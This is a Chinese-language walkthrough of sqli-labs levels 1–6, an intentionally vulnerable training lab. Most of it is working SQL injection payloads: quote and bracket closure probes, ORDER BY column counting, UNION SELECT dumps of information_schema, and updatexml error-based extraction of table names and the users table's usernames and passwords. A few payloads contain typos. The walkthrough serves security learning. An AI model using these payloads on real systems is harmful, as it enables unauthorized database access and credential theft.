目录
通关前必看
在这之前,需要掌握数据库的基本操作,对数据库有较好的了解(博主主页中有)
1、判断是否存在sql注入以及是字符型还是数值型:
方法:输入一个不会报错的值,然后在后面加上and 1=1 /and 1=2
比如127.0.0.1/sqli-labs-master/Less-1/?id= 当我们输入1时,不会报错,后面加上and 1=1,结果显示和之前一样(可以初步断定存在sql注入了),然后改成and 1=2,如果结果显示还是一样,可以断定这是字符型了,因为客户端将1=1和1=2当作字符处理了;如果结果发生了变化,则是数值型,因为1=2明显为假。
2、各种注入方式以及方法
有回显型:
1‘ order by n--+ 通过改变n的值,可以判断出有几处回显(1为真,执行order语句),这里假设判断出来有三处回显。
-1’ union select 1,2,database()--+ 爆出数据库名(-1为假,执行union语句;1和2只起占位作用,因为我们判断出来有三处回显,所以将没有使用的位置占位,1,2位置还可以写其他语句,比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本,数据库名)
-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' --+爆出表名,且在一行显示;
还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema='数据库名' limit 0,1--+ (只能显示第一个表,通过改变limit 0,1 来获取更多表名)
-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名'--+ 爆出某张表的字段名;
-1' union select 1,2,group_concat(id,username,password) from users --+爆出字段对应的数据;
报错注入(只有'ok'和'no'的提示以及报错提示):
先用sleep()延迟函数判断类型和闭合方式:?id=1 and sleep(5)--+如果有延迟则说明是数值型;如果没有延迟,说明是字符型。若是字符型,还需要判断闭合方式,同样的,假设是单引号闭合:?id=1' and sleep(5)--+ 如果有延迟,则假设正确……
固定语句:?id=1' and updatexml(1,concat(0x7e,( ),0x7e),1)--+中间的括号里面写需要执行的select语句。
详细思路,后面的题都可以这样去思考
关卡实操
less1
输入1有回显,加上and 1=1不报错,and1=2也不报错,且回显都一样,判断是字符型:
输入1’ 报错,判断是单引号闭合:
在后面加上--+(因为这里是get型传参,所以不用#来注释),发现回显正常:
开始爆破数据库:
?id=1' order by 3 --+回显正常,而?id=1' order by4 --+报错了,所以判断出这里有3处回显:
爆数据库名 ?id=0' union select 1,2,database()--+可以看到,在第三个回显处显示的是数据库名:security :
爆表名?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 可以看到,有emails,referers,uagents,users四张表:
爆字段名(以users表)为例?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+可以看到users表有id,username,password三个字段:
爆字段数据?id=0' union select 1,2,group_concat(id,username,password) from users --+
接下来的关卡我们用类似的方法,就不赘述了,主要是要判断出是字符型,还是数值型,是什么闭合,有没有括号。
less2
这里and 1=2 发现回显异常,所以判断出是数值型,所以就不用加引号来闭合了:
后面加上注释--+发现回显正常,说明没有括号:
接下来就是一样的方法来爆破数据库了,我们先判断有几处回显,order by 3时回显正常,order by 4时报错,所以有3处回显:
爆数据库名?id=0 union select 1,2,database()--+,注意这里由于是数值型,所以不加引号:
同样的方法爆出其他的数据:
表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0 union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less3
同样的方法,判断出这里是字符型且是单引号闭合,但是当我们加上注释--+后,还是报错了,说明这里可能还有括号没有闭合:
我们在引号后面加上一个右括号,发现回显正常了:
之后爆数据库:
?id=1') order by 3--+判断有三处回显
数据库名?id =0') union select 1,2,database()--+
表名:?id=0的') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0') union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less4
同样的方法判断出字符型;
当我们加上一个单引号后发现回显正常的,说明这里是双引号闭合(where id =" 1' "):
我们改成双引号id=1" 后发现报错了,所以确实是双引号闭合:
后面加上注释--+,发现报错,说明有括号没有闭合:
我们在双引号后面加上一个右括号,发现回显正常了:
接下来一样的方法爆数据库:
?id=1") order by 3--+判断有三处回显
数据库名:?id=0") union select 1,2,database()--+
表名:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0") union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less5
这一关我们发现输入正确的值,只会返回you are in;输入错误的值就没有回显,语法错误就会报错,除此之外就没有其它信息了,所以就不能用union联合查询了。这里我们用报错注入。
同样的方法判断出这里是字符型,单引号闭合。
然后用updatexml()报错函数来爆破数据库:
固定语句结构就是这样的:?id=1' and updatexml(1,concat(0x7e,( ),0x7e),1)--+最中间的括号里填查询语句。
爆数据库名:?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
爆表名(只需要更改中间括号里面的内同容):?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
同样的方法爆字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)--+
爆字段数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)--+
less6
同less5要用报错注入
同样的方法判断出这里是字符型,双引号闭合。
爆数据库名?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
爆字段名?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name='表名'),0x7e),1)--+
爆字段数据?id=1" and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)